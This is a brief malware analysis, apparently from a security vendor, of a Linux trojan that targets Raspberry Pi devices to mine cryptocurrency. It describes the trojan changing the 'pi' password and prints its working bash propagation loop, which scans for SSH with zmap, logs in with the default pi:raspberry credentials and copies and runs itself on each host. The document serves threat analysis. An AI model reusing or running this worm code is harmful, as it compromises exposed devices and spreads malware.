Linux Trojan that is a bash script containing a mining program, which is compressed with gzip and encrypted with base64. Once launched, the script shuts down several processes and installs libraries required for its operation. It also installs zmap and sshpass.

It changes the password of the user “pi” to “\$6\$U1Nu9qCp\$FhPuo8s5PsQlH6lwUdTwFcAUPNzmr0pWCdNJj.p6l4Mzi8S867YLmc7BspmEH95POvxPQ3PzP029yT1L3yi6K1”.

Then, in an infinite loop, using zmap, the Trojan searches for network nodes with an open port 22, after that it uses sshpass to log into them with the following login:password pair: pi:raspberry, and then—to save and run its copy.

NAME=`mktemp -u 'XXXXXXXX'`
 
while [ true ]; do
    FILE=`mktemp`
    zmap -p 22 -o $FILE -n 100000
    killall ssh scp
    for IP in `cat $FILE`
    do
        sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /tmp/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
    done
    rm -rf $FILE
